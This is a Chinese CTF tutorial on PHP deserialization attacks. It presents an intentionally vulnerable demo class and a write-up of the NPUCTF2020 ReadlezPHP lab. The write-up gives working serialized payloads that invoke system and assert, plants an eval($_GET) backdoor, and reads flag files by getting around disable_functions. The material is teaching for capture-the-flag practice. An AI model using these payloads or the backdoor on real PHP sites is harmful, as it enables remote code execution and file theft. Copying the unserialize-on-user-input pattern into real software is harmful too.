本专栏CTF基础入门系列打破
以往CTF速成或就题论题模式。采用系统讲解基础知识+入门题目练习+真题讲解方式
。让刚接触CTF的读者真正掌握CTF中各类型知识点,为后续自学或快速刷题备赛,打下坚实的基础~
1. 题目环境搭建
详见我的一篇文章phpstudy本地环境搭建图文教程
搭建成功后,在网站根目录新建含有原始代码的php文件,通过浏览器访问即可。
在线运行php网站,推荐PHP 在线工具 | 菜鸟工具或者在线运行PHP
2. 魔法函数的危险操作
反序列化时会将序列化字符串重新还原为对象,在这个过程中会⾃动去调⽤类中的魔术⽅法,⽐如 __wakeup()
、 __destruct()
等,如果这些魔术⽅法中存在⼀些危险操作,如读取⽂件、执⾏系统命令等。攻击 者可以通过构造对象中的变量值,在触发魔术⽅法时执⾏这些危险操作。
__destruct() // 析构函数,在销毁对象时调用
__wakeup() // 执行unserialize()时,先会调用这个函数
2.1 题目demo.php
- 题目源码
<?php
// flag is in flag.php
class demo
{
private $filename = 'demo.php';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->show($this->filename);
}
public function show($filename)
{
show_source($filename);
}
}
unserialize($_GET['s']);
$d = new demo();
$d->show("demo.php");
?>
打开题目
- 解题思路
- 源码分析发现
a. 存在魔法函数__wakeup
b. 魔法函数中调用show函数,里面存在危险操作show_source显示源码
c. 参数filename可控
综上可尝试反序列化读取flag.php - 构造反序列化
调用链:__wakeup() => show
使用PHP 在线工具 | 菜鸟工具生成payload
<?php
class demo{
private $filename = 'flag.php';
}
$a = new demo();
$b = serialize($a);
echo $b.'<br>';
echo urlencode($b);
?>
// 结果如下
// O:4:"demo":1:{s:14:"demofilename";s:8:"flag.php";}
// O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
最终攻击payload,浏览器url栏中输入如下内容
http://ip:port/filename/?s=O%3A4%3A%22demo%22%3A1%3A%7Bs%3A14%3A%22%00demo%00filename%22%3Bs%3A8%3A%22flag.php%22%3B%7D
2.2 [NPUCTF2020]ReadlezPHP
题目链接:[NPUCTF2020]ReadlezPHP]ReadlezPHP
- 题目
正常的一个报时网页 此题可有两个flag - 解题思路
- 打开网站尝试路径扫描无果。尝试查看网页源码,发现可以链接
- 点击后,URL中去掉view-source: 页面展示源码如下。
- 分析源代码可知
(1)存在魔法函数__destruct()
(2)调用危险代码动态执行 b ( b( b(a)
(3)$a $b参数可控
综上选定PHP反序列化攻击 - 构造序列化脚本
<?php
class HelloPhp
{
public $a="ls /";
public $b="system";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>
// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:4:"ls /";s:1:"b";s:6:"system";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D
攻击payload为
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A4%3A%22ls+%2F%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22system%22%3B%7D
- 但是没有响应,怀疑是过滤了部分函数。尝试使用别的函数,如assert
<?php
class HelloPhp
{
public $a="phpinfo()";
public $b="assert";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>
// 输出结果
// O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
// O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A9%3A%22phpinfo%28%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D
成功,查看被禁用函数disable_functions PHP中的system函数被禁用
搜索flag找到第一个flag
- 构造后门文件查看是否还有其他flag assert(eval($_GET[1234]))
<?php
class HelloPhp
{
public $a="eval(\$_GET[1234])";
public $b="assert";
}
$t = new HelloPhp();
$s = serialize($t);
echo $s."<br>";
echo urlencode($s);
?>
攻击payload
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));
- 后门1234的命令被限制使用var_dump(scandir(“/”))代替 system(“ls /”) 找到第二个flag
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=var_dump(scandir("/"));
- 使用echo file_get_contents(“/FIag_!S_it”)代替system(cat /FIag_!S_it)
http://efc030c7-ad55-4224-a276-9dcd7d01e537.node4.buuoj.cn:81/time.php?data=O%3A8%3A%22HelloPhp%22%3A2%3A%7Bs%3A1%3A%22a%22%3Bs%3A17%3A%22eval%28%24_GET%5B1234%5D%29%22%3Bs%3A1%3A%22b%22%3Bs%3A6%3A%22assert%22%3B%7D&1234=echo file_get_contents("/FIag_!S_it");
找到第二个flag
NPUCTF{this_is_not_a_fake_flag_but_true_flag}